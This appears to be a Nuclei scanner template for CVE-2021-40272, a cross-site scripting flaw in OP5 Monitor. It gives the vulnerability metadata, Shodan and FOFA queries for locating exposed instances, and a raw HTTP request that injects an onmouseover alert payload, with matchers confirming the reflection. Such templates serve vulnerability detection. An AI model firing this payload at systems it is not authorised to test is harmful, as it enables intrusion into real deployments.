2024-10-07 07:52:36 +00:00
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id: CVE-2021-40272
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info:
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name: IRTS OP5 Monitor - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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OP5 Monitor 8.3.1, 8.3.2, and OP5 8.3.3 are vulnerable to Cross Site Scripting (XSS).
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impact: |
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Successful exploitation could lead to unauthorized access or data theft.
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remediation: |
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Update to the latest version of OP5 Monitor to mitigate the XSS vulnerability.
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reference:
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- https://github.com/hosakauk/exploits/blob/master/itrs_op5_monitor_xss.pdf
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40272
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cve-id: CVE-2021-40272
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cwe-id: CWE-79
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cpe: cpe:2.3:a:op5:monitor:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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shodan-query: title:"ITRS"
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fofa-query: title="ITRS"
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product: monitor
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vendor: op5
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tags: cve2021,cve,irts,op5,xss
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http:
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- raw:
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- |
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GET /api/help'onmouseover=alert(document.domain)/'/;/beta/license HTTP/1.1
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Host: {{Hostname}}
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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host-redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- contains(body, "help\'onmouseover=alert(document.domain)/\'/;/beta/license?format=json\'>JSON")
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- contains_any(tolower(body), "op5 monitor", "itrs")
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- contains(content_type, "text/html")
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- status_code == 401
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condition: and
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2024-10-07 08:04:55 +00:00
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# digest: 4a0a00473045022100c0dd70cd98673761f4193388ef489399b733b15caf79f24d0c5a4377feadabf502203d90ea4f3ddddaabbf7a138e378872da2cc793722757bc647b0cf6e65008ec1d:922c64590222798bb761d5b6d8e72950
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